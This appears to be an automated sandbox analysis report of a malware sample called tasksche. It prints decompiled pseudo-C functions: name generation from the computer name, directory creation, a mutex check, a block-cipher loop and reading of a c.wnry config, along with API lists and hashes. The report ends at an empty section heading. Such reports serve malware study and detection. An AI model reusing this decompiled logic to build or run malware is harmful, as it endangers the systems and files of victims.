                      • Opcode ID: 3ef8fdaf83090ca6dd9f312f51019f46009b35537f3f51f7116a8d4e5983476b
                      • Instruction ID: b911edbb3638e6438919fa35cb7379f64586f657f287b8edbc273cd359ebb62a
                      • Opcode Fuzzy Hash: 3ef8fdaf83090ca6dd9f312f51019f46009b35537f3f51f7116a8d4e5983476b
                      • Instruction Fuzzy Hash: 4841AE76A00205EFDB109F55CE49B5ABBF4FF44310F24803AE846B62D1D7B8E900DB59
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00401225 Relevance: 10.6, APIs: 7, Instructions: 87COMMON
                      Download Yara Rule
                      C-Code - Quality: 86%
                      			E00401225(intOrPtr _a4) {
				signed int _v8;
				long _v12;
				void _v410;
				long _v412;
				long _t34;
				signed int _t42;
				intOrPtr _t44;
				signed int _t45;
				signed int _t48;
				int _t54;
				signed int _t56;
				signed int _t60;
				signed int _t61;
				signed int _t62;
				void* _t71;
				signed short* _t72;
				void* _t76;
				void* _t77;

				_t34 =  *0x40f874; // 0x0
				_v412 = _t34;
				_t56 = 0x63;
				_v12 = 0x18f;
				memset( &_v410, 0, _t56 << 2);
				asm("stosw");
				GetComputerNameW( &_v412,  &_v12);
				_v8 = _v8 & 0x00000000;
				_t54 = 1;
				if(wcslen( &_v412) > 0) {
					_t72 =  &_v412;
					do {
						_t54 = _t54 * ( *_t72 & 0x0000ffff);
						_v8 = _v8 + 1;
						_t72 =  &(_t72[1]);
					} while (_v8 < wcslen( &_v412));
				}
				srand(_t54);
				_t42 = rand();
				_t71 = 0;
				asm("cdq");
				_t60 = 8;
				_t76 = _t42 % _t60 + _t60;
				if(_t76 > 0) {
					do {
						_t48 = rand();
						asm("cdq");
						_t62 = 0x1a;
						 *((char*)(_t71 + _a4)) = _t48 % _t62 + 0x61;
						_t71 = _t71 + 1;
					} while (_t71 < _t76);
				}
				_t77 = _t76 + 3;
				while(_t71 < _t77) {
					_t45 = rand();
					asm("cdq");
					_t61 = 0xa;
					 *((char*)(_t71 + _a4)) = _t45 % _t61 + 0x30;
					_t71 = _t71 + 1;
				}
				_t44 = _a4;
				 *(_t71 + _t44) =  *(_t71 + _t44) & 0x00000000;
				return _t44;
			}





















                      0x0040122e
                      0x00401239
                      0x00401240
                      0x00401249
                      0x00401250
                      0x00401252
                      0x0040125f
                      0x0040126b
                      0x00401277
                      0x0040127e
                      0x00401280
                      0x00401286
                      0x00401289
                      0x0040128c
                      0x00401297
                      0x0040129d
                      0x00401286
                      0x004012a1
                      0x004012ae
                      0x004012b2
                      0x004012b4
                      0x004012b5
                      0x004012ba
                      0x004012be
                      0x004012c0
                      0x004012c0
                      0x004012c4
                      0x004012c5
                      0x004012ce
                      0x004012d1
                      0x004012d2
                      0x004012c0
                      0x004012d6
                      0x004012d9
                      0x004012dd
                      0x004012e1
                      0x004012e2
                      0x004012eb
                      0x004012ee
                      0x004012ee
                      0x004012f1
                      0x004012f4
                      0x004012fc

                      APIs
                      Memory Dump Source
                      • Source File: 00000018.00000002.476808460.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000018.00000002.476796809.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476831292.0000000000408000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476874714.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_24_2_400000_tasksche.jbxd
                      Yara matches
                      Similarity
                      • API ID: rand$wcslen$ComputerNamesrand
                      • String ID:
                      • API String ID: 3058258771-0
                      • Opcode ID: b0791ced207a07d975efd615d75f91e7379ad7fc4ff6fb2c179a53625b9ec986
                      • Instruction ID: 153b78e0bdef4b648922335b0398b7079fc1e42e5dbb3c53d325bf346215f47a
                      • Opcode Fuzzy Hash: b0791ced207a07d975efd615d75f91e7379ad7fc4ff6fb2c179a53625b9ec986
                      • Instruction Fuzzy Hash: FA212833A00318ABD7119B65ED81BDD77A8EB45354F1100BBF948F71C0CA759EC28BA8
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00407070 Relevance: 10.6, APIs: 7, Instructions: 74stringCOMMON
                      Download Yara Rule
                      C-Code - Quality: 100%
                      			E00407070(char* _a4, char* _a8) {
				char _v264;
				void _v524;
				long _t16;
				char* _t30;
				char* _t31;
				char* _t36;
				char* _t38;
				int _t40;
				void* _t41;

				_t30 = _a4;
				if(_t30 != 0 && GetFileAttributesA(_t30) == 0xffffffff) {
					CreateDirectoryA(_t30, 0);
				}
				_t36 = _a8;
				_t16 =  *_t36;
				if(_t16 != 0) {
					_t38 = _t36;
					_t31 = _t36;
					do {
						if(_t16 == 0x2f || _t16 == 0x5c) {
							_t38 = _t31;
						}
						_t16 = _t31[1];
						_t31 =  &(_t31[1]);
					} while (_t16 != 0);
					if(_t38 != _t36) {
						_t40 = _t38 - _t36;
						memcpy( &_v524, _t36, _t40);
						 *(_t41 + _t40 - 0x208) =  *(_t41 + _t40 - 0x208) & 0x00000000;
						E00407070(_t30,  &_v524);
					}
					_v264 = _v264 & 0x00000000;
					if(_t30 != 0) {
						strcpy( &_v264, _t30);
					}
					strcat( &_v264, _t36);
					_t16 = GetFileAttributesA( &_v264);
					if(_t16 == 0xffffffff) {
						return CreateDirectoryA( &_v264, 0);
					}
				}
				return _t16;
			}












                      0x0040707a
                      0x00407080
                      0x00407091
                      0x00407091
                      0x00407097
                      0x0040709a
                      0x0040709e
                      0x004070a5
                      0x004070a7
                      0x004070a9
                      0x004070ab
                      0x004070b1
                      0x004070b1
                      0x004070b3
                      0x004070b6
                      0x004070b7
                      0x004070bd
                      0x004070bf
                      0x004070ca
                      0x004070cf
                      0x004070df
                      0x004070e4
                      0x004070e7
                      0x004070f1
                      0x004070fb
                      0x00407101
                      0x0040710a
                      0x00407118
                      0x00407121
                      0x00000000
                      0x0040712c
                      0x00407121
                      0x00407135

                      APIs
                      • GetFileAttributesA.KERNEL32(?,?,?), ref: 00407083
                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 00407091
                      • memcpy.MSVCRT(?,0000002F,0000002F,?,?,?), ref: 004070CA
                      • strcpy.MSVCRT(00000000,?,?,?), ref: 004070FB
                      • strcat.MSVCRT(00000000,0000002F,?,?), ref: 0040710A
                      • GetFileAttributesA.KERNEL32(00000000,?,?), ref: 00407118
                      • CreateDirectoryA.KERNEL32(00000000,00000000), ref: 0040712C
                      Memory Dump Source
                      • Source File: 00000018.00000002.476808460.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000018.00000002.476796809.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476831292.0000000000408000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476874714.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_24_2_400000_tasksche.jbxd
                      Yara matches
                      Similarity
                      • API ID: AttributesCreateDirectoryFile$memcpystrcatstrcpy
                      • String ID:
                      • API String ID: 2935503933-0
                      • Opcode ID: 0838382564994867704b48d197d9141456e9ef10b941a736ac2fad3accdc9566
                      • Instruction ID: 50ba023859918e707bf45bf33fbe73a6a33da9a39eec2eddc6b78618a8cc3524
                      • Opcode Fuzzy Hash: 0838382564994867704b48d197d9141456e9ef10b941a736ac2fad3accdc9566
                      • Instruction Fuzzy Hash: 1A112B72C0821456CB305B749D88FD7776C9B11320F1403BBE595B32C2DA78BD898669
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00401EFF Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 35sleepCOMMON
                      Download Yara Rule
                      C-Code - Quality: 100%
                      			E00401EFF(intOrPtr _a4) {
				char _v104;
				void* _t9;
				void* _t11;
				void* _t12;

				sprintf( &_v104, "%s%d", "Global\\MsWinZonesCacheCounterMutexA", 0);
				_t12 = 0;
				if(_a4 <= 0) {
					L3:
					return 0;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t9 = OpenMutexA(0x100000, 1,  &_v104);
					if(_t9 != 0) {
						break;
					}
					Sleep(0x3e8);
					_t12 = _t12 + 1;
					if(_t12 < _a4) {
						continue;
					}
					goto L3;
				}
				CloseHandle(_t9);
				_t11 = 1;
				return _t11;
			}







                      0x00401f16
                      0x00401f1c
                      0x00401f24
                      0x00401f4c
                      0x00000000
                      0x00000000
                      0x00000000
                      0x00000000
                      0x00401f26
                      0x00401f26
                      0x00401f31
                      0x00401f39
                      0x00000000
                      0x00000000
                      0x00401f40
                      0x00401f46
                      0x00401f4a
                      0x00000000
                      0x00000000
                      0x00000000
                      0x00401f4a
                      0x00401f52
                      0x00401f5a
                      0x00000000

                      APIs
                      • sprintf.MSVCRT(?,%s%d,Global\MsWinZonesCacheCounterMutexA,00000000), ref: 00401F16
                      • OpenMutexA.KERNEL32(00100000,00000001,?), ref: 00401F31
                      • Sleep.KERNEL32(000003E8), ref: 00401F40
                      • CloseHandle.KERNEL32(00000000), ref: 00401F52
                      Strings
                      Memory Dump Source
                      • Source File: 00000018.00000002.476808460.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000018.00000002.476796809.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476831292.0000000000408000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476874714.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_24_2_400000_tasksche.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseHandleMutexOpenSleepsprintf
                      • String ID: %s%d$Global\MsWinZonesCacheCounterMutexA
                      • API String ID: 2780352083-2959021817
                      • Opcode ID: d195781efe0b704a0c45d33d3827b966fde6c598e7eccee7cfdb972a19423a06
                      • Instruction ID: f4a3b48a0bafa41ae68b0177be176e29d76f271436d11399ade0a1af8f7a19ee
                      • Opcode Fuzzy Hash: d195781efe0b704a0c45d33d3827b966fde6c598e7eccee7cfdb972a19423a06
                      • Instruction Fuzzy Hash: 92F0E931A40305BBDB20EBA49E4AB9B7758AB04B40F104036F945FA0D2DBB8D54586D8
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00403A77 Relevance: 9.1, APIs: 6, Instructions: 123COMMON
                      Download Yara Rule
                      C-Code - Quality: 59%
                      			E00403A77(void* __ecx, void* _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				void* _v12;
				char _v16;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v48;
				signed int _t121;
				int _t124;
				intOrPtr* _t126;
				intOrPtr _t127;
				int _t131;
				intOrPtr* _t133;
				intOrPtr _t135;
				intOrPtr _t137;
				signed int _t139;
				signed int _t140;
				signed int _t143;
				signed int _t150;
				intOrPtr _t160;
				int _t161;
				int _t163;
				signed int _t164;
				signed int _t165;
				intOrPtr _t168;
				void* _t169;
				signed int _t170;
				signed int _t172;
				signed int _t175;
				signed int _t178;
				intOrPtr _t194;
				void* _t195;
				void* _t196;
				void* _t197;
				intOrPtr _t198;
				void* _t201;

				_t197 = __ecx;
				if( *((intOrPtr*)(__ecx + 4)) == 0) {
					__imp__??0exception@@QAE@ABQBD@Z(0x40f570);
					_push(0x40d570);
					_push( &_v16);
					L0040776E();
				}
				_t121 = _a12;
				if(_t121 == 0) {
					L15:
					__imp__??0exception@@QAE@ABQBD@Z(0x40f574);
					_push(0x40d570);
					_push( &_v16);
					L0040776E();
					_push( &_v16);
					_push(0);
					_push(_t197);
					_t198 = _v36;
					_t194 = _v32;
					_t168 =  *((intOrPtr*)(_t198 + 0x30));
					_t160 =  *((intOrPtr*)(_t198 + 0x34));
					_t71 = _t194 + 0xc; // 0x40d568
					_v48 =  *_t71;
					_v32 = _t168;
					if(_t168 > _t160) {
						_t160 =  *((intOrPtr*)(_t198 + 0x2c));
					}
					_t75 = _t194 + 0x10; // 0x19930520
					_t124 =  *_t75;
					_t161 = _t160 - _t168;
					if(_t161 > _t124) {
						_t161 = _t124;
					}
					if(_t161 != 0 && _a8 == 0xfffffffb) {
						_a8 = _a8 & 0x00000000;
					}
					 *((intOrPtr*)(_t194 + 0x14)) =  *((intOrPtr*)(_t194 + 0x14)) + _t161;
					 *(_t194 + 0x10) = _t124 - _t161;
					_t126 =  *((intOrPtr*)(_t198 + 0x38));
					if(_t126 != 0) {
						_t137 =  *_t126( *((intOrPtr*)(_t198 + 0x3c)), _t168, _t161);
						 *((intOrPtr*)(_t198 + 0x3c)) = _t137;
						_t201 = _t201 + 0xc;
						 *((intOrPtr*)(_t194 + 0x30)) = _t137;
					}
					if(_t161 != 0) {
						memcpy(_v12, _a4, _t161);
						_v12 = _v12 + _t161;
						_t201 = _t201 + 0xc;
						_a4 = _a4 + _t161;
					}
					_t127 =  *((intOrPtr*)(_t198 + 0x2c));
					if(_a4 == _t127) {
						_t169 =  *((intOrPtr*)(_t198 + 0x28));
						_a4 = _t169;
						if( *((intOrPtr*)(_t198 + 0x34)) == _t127) {
							 *((intOrPtr*)(_t198 + 0x34)) = _t169;
						}
						_t99 = _t194 + 0x10; // 0x19930520
						_t131 =  *_t99;
						_t163 =  *((intOrPtr*)(_t198 + 0x34)) - _t169;
						if(_t163 > _t131) {
							_t163 = _t131;
						}
						if(_t163 != 0 && _a8 == 0xfffffffb) {
							_a8 = _a8 & 0x00000000;
						}
						 *((intOrPtr*)(_t194 + 0x14)) =  *((intOrPtr*)(_t194 + 0x14)) + _t163;
						 *(_t194 + 0x10) = _t131 - _t163;
						_t133 =  *((intOrPtr*)(_t198 + 0x38));
						if(_t133 != 0) {
							_t135 =  *_t133( *((intOrPtr*)(_t198 + 0x3c)), _t169, _t163);
							 *((intOrPtr*)(_t198 + 0x3c)) = _t135;
							_t201 = _t201 + 0xc;
							 *((intOrPtr*)(_t194 + 0x30)) = _t135;
						}
						if(_t163 != 0) {
							memcpy(_v12, _a4, _t163);
							_v12 = _v12 + _t163;
							_a4 = _a4 + _t163;
						}
					}
					 *(_t194 + 0xc) = _v12;
					 *((intOrPtr*)(_t198 + 0x30)) = _a4;
					return _a8;
				} else {
					_t170 =  *(_t197 + 0x3cc);
					if(_t121 % _t170 != 0) {
						goto L15;
					} else {
						if(_a16 != 1) {
							_t195 = _a4;
							_t139 = _a12;
							_a16 = 0;
							_t164 = _a8;
							if(_a16 != 2) {
								_t140 = _t139 / _t170;
								if(_t140 > 0) {
									do {
										E00403797(_t197, _t195, _t164);
										_t172 =  *(_t197 + 0x3cc);
										_t195 = _t195 + _t172;
										_t143 = _a12 / _t172;
										_t164 = _t164 + _t172;
										_a16 = _a16 + 1;
									} while (_a16 < _t143);
									return _t143;
								}
							} else {
								_t140 = _t139 / _t170;
								if(_t140 > 0) {
									do {
										E0040350F(_t197, _t197 + 0x3f0, _t164);
										E00403A28(_t197, _t164, _t195);
										memcpy(_t197 + 0x3f0, _t195,  *(_t197 + 0x3cc));
										_t175 =  *(_t197 + 0x3cc);
										_t201 = _t201 + 0xc;
										_t150 = _a12 / _t175;
										_t195 = _t195 + _t175;
										_t164 = _t164 + _t175;
										_a16 = _a16 + 1;
									} while (_a16 < _t150);
									return _t150;
								}
							}
						} else {
							_t196 = _a4;
							_t140 = _a12 / _t170;
							_a16 = 0;
							_t165 = _a8;
							if(_t140 > 0) {
								do {
									E00403797(_t197, _t196, _t165);
									E00403A28(_t197, _t165, _t197 + 0x3f0);
									memcpy(_t197 + 0x3f0, _t196,  *(_t197 + 0x3cc));
									_t178 =  *(_t197 + 0x3cc);
									_t201 = _t201 + 0xc;
									_t140 = _a12 / _t178;
									_t196 = _t196 + _t178;
									_t165 = _t165 + _t178;
									_a16 = _a16 + 1;
								} while (_a16 < _t140);
							}
						}
						return _t140;
					}
				}
			}





































                      0x00403a7f
                      0x00403a87
                      0x00403a91
                      0x00403a9a
                      0x00403a9f
                      0x00403aa0
                      0x00403aa0
                      0x00403aa5
                      0x00403aaa
                      0x00403bba
                      0x00403bc2
                      0x00403bcb
                      0x00403bd0
                      0x00403bd1
                      0x00403bd9
                      0x00403bda
                      0x00403bdb
                      0x00403bdc
                      0x00403be0
                      0x00403be3
                      0x00403be6
                      0x00403be9
                      0x00403bee
                      0x00403bf1
                      0x00403bf4
                      0x00403bf6
                      0x00403bf6
                      0x00403bf9
                      0x00403bf9
                      0x00403bfc
                      0x00403c00
                      0x00403c02
                      0x00403c02
                      0x00403c06
                      0x00403c0e
                      0x00403c0e
                      0x00403c12
                      0x00403c17
                      0x00403c1a
                      0x00403c1f
                      0x00403c26
                      0x00403c28
                      0x00403c2b
                      0x00403c2e
                      0x00403c2e
                      0x00403c33
                      0x00403c3c
                      0x00403c41
                      0x00403c44
                      0x00403c47
                      0x00403c47
                      0x00403c4a
                      0x00403c50
                      0x00403c52
                      0x00403c58
                      0x00403c5b
                      0x00403c5d
                      0x00403c5d
                      0x00403c63
                      0x00403c63
                      0x00403c66
                      0x00403c6a
                      0x00403c6c
                      0x00403c6c
                      0x00403c70
                      0x00403c78
                      0x00403c78
                      0x00403c7c
                      0x00403c81
                      0x00403c84
                      0x00403c89
                      0x00403c90
                      0x00403c92
                      0x00403c95
                      0x00403c98
                      0x00403c98
                      0x00403c9d
                      0x00403ca6
                      0x00403cab
                      0x00403cb1
                      0x00403cb1
                      0x00403c9d
                      0x00403cb7
                      0x00403cbd
                      0x00403cc7
                      0x00403ab0
                      0x00403ab0
                      0x00403abc
                      0x00000000
                      0x00403ac2
                      0x00403ac6
                      0x00403b2c
                      0x00403b2f
                      0x00403b32
                      0x00403b35
                      0x00403b38
                      0x00403b8d
                      0x00403b91
                      0x00403b93
                      0x00403b97
                      0x00403b9c
                      0x00403ba7
                      0x00403ba9
                      0x00403bab
                      0x00403bad
                      0x00403bb0
                      0x00000000
                      0x00403b93
                      0x00403b3a
                      0x00403b3c
                      0x00403b40
                      0x00403b42
                      0x00403b4c
                      0x00403b55
                      0x00403b68
                      0x00403b6d
                      0x00403b78
                      0x00403b7b
                      0x00403b7d
                      0x00403b7f
                      0x00403b81
                      0x00403b84
                      0x00000000
                      0x00403b42
                      0x00403b40
                      0x00403ac8
                      0x00403acb
                      0x00403ace
                      0x00403ad0
                      0x00403ad3
                      0x00403ad8
                      0x00403ada
                      0x00403ade
                      0x00403aed
                      0x00403b00
                      0x00403b05
                      0x00403b10
                      0x00403b13
                      0x00403b15
                      0x00403b17
                      0x00403b19
                      0x00403b1c
                      0x00403ada
                      0x00403ad8
                      0x00403b25
                      0x00403b25
                      0x00403abc

                      APIs
                      • ??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570,?,?,?,?,?,00000001), ref: 00403A91
                      • _CxxThrowException.MSVCRT(?,0040D570,?,?,?,?,00000001), ref: 00403AA0
                      • memcpy.MSVCRT(?,?,?,?,?,?,?,?), ref: 00403B00
                      • memcpy.MSVCRT(?,?,?,?,?,?,?,?), ref: 00403B68
                      • ??0exception@@QAE@ABQBD@Z.MSVCRT(0040F574,?,?,?,?,?,00000001), ref: 00403BC2
                      • _CxxThrowException.MSVCRT(?,0040D570,?,?,?,?,00000001), ref: 00403BD1
                      Memory Dump Source
                      • Source File: 00000018.00000002.476808460.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000018.00000002.476796809.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476831292.0000000000408000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476874714.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_24_2_400000_tasksche.jbxd
                      Yara matches
                      Similarity
                      • API ID: ??0exception@@ExceptionThrowmemcpy
                      • String ID:
                      • API String ID: 2382887404-0
                      • Opcode ID: 8f0cb0103d3614fdc28d84a5f541c19cbd02f6e6265a1098423f4cf3f0921468
                      • Instruction ID: 9805a50700f74263afb1320d00d27f30e93ca80038ec105a2d2f515762341bf2
                      • Opcode Fuzzy Hash: 8f0cb0103d3614fdc28d84a5f541c19cbd02f6e6265a1098423f4cf3f0921468
                      • Instruction Fuzzy Hash: 8541C870B40206ABDB14DE65DD81D9B77BEEB84309B00443FF815B3281D778AB15C759
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00401000 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 38fileCOMMON
                      Download Yara Rule
                      APIs
                      • fopen.MSVCRT(c.wnry,0040E018), ref: 0040101B
                      • fread.MSVCRT(?,0000030C,00000001,00000000), ref: 0040103F
                      • fwrite.MSVCRT(?,0000030C,00000001,00000000), ref: 00401047
                      • fclose.MSVCRT(00000000), ref: 00401058
                      Strings
                      Memory Dump Source
                      • Source File: 00000018.00000002.476808460.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000018.00000002.476796809.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476831292.0000000000408000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476874714.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_24_2_400000_tasksche.jbxd
                      Yara matches
                      Similarity
                      • API ID: fclosefopenfreadfwrite
                      • String ID: c.wnry
                      • API String ID: 4000964834-3240288721
                      • Opcode ID: 83356dae967f3845aa64eafaf8b7e6f79fd4dc7784855bee587f11601882f661
                      • Instruction ID: 4fc4ee2583eead98f325da0eb4a8e2a7a7827d82b7f69226d67b1691b23a23d5
                      • Opcode Fuzzy Hash: 83356dae967f3845aa64eafaf8b7e6f79fd4dc7784855bee587f11601882f661
                      • Instruction Fuzzy Hash: 0CF05931204260ABCA301F656D4AA277B10DBC4F61F10083FF1C1F40E2CABD44C296BE
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 004018F9 Relevance: 7.6, APIs: 5, Instructions: 79filememoryCOMMON
                      Download Yara Rule
                      C-Code - Quality: 24%
                      			E004018F9(intOrPtr _a4, intOrPtr _a8, CHAR* _a12) {
				struct _OVERLAPPED* _v8;
				char _v20;
				long _v32;
				struct _OVERLAPPED* _v36;
				long _v40;
				signed int _v44;
				void* _t18;
				void* _t28;
				long _t34;
				intOrPtr _t38;

				_push(0xffffffff);
				_push(0x4081f0);
				_push(0x4076f4);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t38;
				_v44 = _v44 | 0xffffffff;
				_v32 = 0;
				_v36 = 0;
				_v8 = 0;
				_t18 = CreateFileA(_a12, 0x80000000, 1, 0, 3, 0, 0);
				_v44 = _t18;
				if(_t18 != 0xffffffff) {
					_t34 = GetFileSize(_t18, 0);
					_v40 = _t34;
					if(_t34 != 0xffffffff && _t34 <= 0x19000) {
						_t28 = GlobalAlloc(0, _t34);
						_v36 = _t28;
						if(_t28 != 0 && ReadFile(_v44, _t28, _t34,  &_v32, 0) != 0) {
							_push(_a8);
							_push(0);
							_push(0);
							_push(_v32);
							_push(_t28);
							_push(_a4);
							if( *0x40f898() != 0) {
								_push(1);
								_pop(0);
							}
						}
					}
				}
				_push(0xffffffff);
				_push( &_v20);
				L004076FA();
				 *[fs:0x0] = _v20;
				return 0;
			}













                      0x004018fc
                      0x004018fe
                      0x00401903
                      0x0040190e
                      0x0040190f
                      0x0040191c
                      0x00401922
                      0x00401925
                      0x00401928
                      0x0040193a
                      0x00401940
                      0x00401946
                      0x00401950
                      0x00401952
                      0x00401958
                      0x0040196a
                      0x0040196c
                      0x00401971
                      0x00401987
                      0x0040198a
                      0x0040198b
                      0x0040198c
                      0x0040198f
                      0x00401990
                      0x0040199b
                      0x0040199d
                      0x0040199f
                      0x0040199f
                      0x0040199b
                      0x00401971
                      0x00401958
                      0x004019a0
                      0x004019a5
                      0x004019a6
                      0x004019d5
                      0x004019e0

                      APIs
                      • CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,00401448,?), ref: 0040193A
                      • GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,?,?,00401448,?), ref: 0040194A
                      • GlobalAlloc.KERNEL32(00000000,00000000,?,?,?,?,?,?,00401448,?), ref: 00401964
                      • ReadFile.KERNEL32(000000FF,00000000,00000000,?,00000000,?,?,?,?,?,?,00401448,?), ref: 0040197D
                      • _local_unwind2.MSVCRT(?,000000FF,?,?,?,?,?,?,00401448,?), ref: 004019A6
                      Memory Dump Source
                      • Source File: 00000018.00000002.476808460.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000018.00000002.476796809.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476831292.0000000000408000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476874714.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_24_2_400000_tasksche.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$AllocCreateGlobalReadSize_local_unwind2
                      • String ID:
                      • API String ID: 2811923685-0
                      • Opcode ID: 232dc3714e51fefb2f6fb0f5b065eea7eb2b0009f41f45388587d49ab84ddf28
                      • Instruction ID: fb063a64e2dc49fc25d010f75d45645ced701e765f932c996de96a45c5b9f027
                      • Opcode Fuzzy Hash: 232dc3714e51fefb2f6fb0f5b065eea7eb2b0009f41f45388587d49ab84ddf28
                      • Instruction Fuzzy Hash: B62160B1901624AFCB209B99CD48FDF7E78EB097B0F54022AF525B22E0D7785805C6AC
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00405BAE Relevance: 6.1, APIs: 4, Instructions: 93fileCOMMON
                      Download Yara Rule
                      C-Code - Quality: 97%
                      			E00405BAE(CHAR* _a4, intOrPtr _a8, long _a12, void* _a16) {
				char _v5;
				char _v6;
				long _t30;
				char _t32;
				long _t34;
				void* _t46;
				intOrPtr* _t49;
				long _t50;

				_t30 = _a12;
				if(_t30 == 1 || _t30 == 2 || _t30 == 3) {
					_t49 = _a16;
					_t46 = 0;
					_v6 = 0;
					 *_t49 = 0;
					_v5 = 0;
					if(_t30 == 1) {
						_t46 = _a4;
						_v5 = 0;
						L11:
						_t30 = SetFilePointer(_t46, 0, 0, 1);
						_v6 = _t30 != 0xffffffff;
						L12:
						_push(0x20);
						L00407700();
						_t50 = _t30;
						if(_a12 == 1 || _a12 == 2) {
							 *_t50 = 1;
							 *((char*)(_t50 + 0x10)) = _v5;
							_t32 = _v6;
							 *((char*)(_t50 + 1)) = _t32;
							 *(_t50 + 4) = _t46;
							 *((char*)(_t50 + 8)) = 0;
							 *((intOrPtr*)(_t50 + 0xc)) = 0;
							if(_t32 != 0) {
								 *((intOrPtr*)(_t50 + 0xc)) = SetFilePointer(_t46, 0, 0, 1);
							}
						} else {
							 *_t50 = 0;
							 *((intOrPtr*)(_t50 + 0x14)) = _a4;
							 *((char*)(_t50 + 1)) = 1;
							 *((char*)(_t50 + 0x10)) = 0;
							 *((intOrPtr*)(_t50 + 0x18)) = _a8;
							 *((intOrPtr*)(_t50 + 0x1c)) = 0;
							 *((intOrPtr*)(_t50 + 0xc)) = 0;
						}
						 *_a16 = 0;
						_t34 = _t50;
						goto L18;
					}
					if(_t30 != 2) {
						goto L12;
					}
					_t46 = CreateFileA(_a4, 0x80000000, 1, 0, 3, 0x80, 0);
					if(_t46 != 0xffffffff) {
						_v5 = 1;
						goto L11;
					}
					 *_t49 = 0x200;
					goto L8;
				} else {
					 *_a16 = 0x10000;
					L8:
					_t34 = 0;
					L18:
					return _t34;
				}
			}











                      0x00405bb2
                      0x00405bbb
                      0x00405bd2
                      0x00405bd7
                      0x00405bdc
                      0x00405bdf
                      0x00405be1
                      0x00405be4
                      0x00405c18
                      0x00405c1b
                      0x00405c24
                      0x00405c29
                      0x00405c32
                      0x00405c36
                      0x00405c36
                      0x00405c38
                      0x00405c42
                      0x00405c44
                      0x00405c6c
                      0x00405c6f
                      0x00405c72
                      0x00405c77
                      0x00405c7a
                      0x00405c7d
                      0x00405c80
                      0x00405c83
                      0x00405c90
                      0x00405c90
                      0x00405c4c
                      0x00405c4f
                      0x00405c51
                      0x00405c57
                      0x00405c5b
                      0x00405c5e
                      0x00405c61
                      0x00405c64
                      0x00405c64
                      0x00405c96
                      0x00405c98
                      0x00000000
                      0x00405c98
                      0x00405be9
                      0x00000000
                      0x00000000
                      0x00405c04
                      0x00405c09
                      0x00405c20
                      0x00000000
                      0x00405c20
                      0x00405c0b
                      0x00000000
                      0x00405bc7
                      0x00405bca
                      0x00405c11
                      0x00405c11
                      0x00405c9a
                      0x00405c9e
                      0x00405c9e

                      APIs
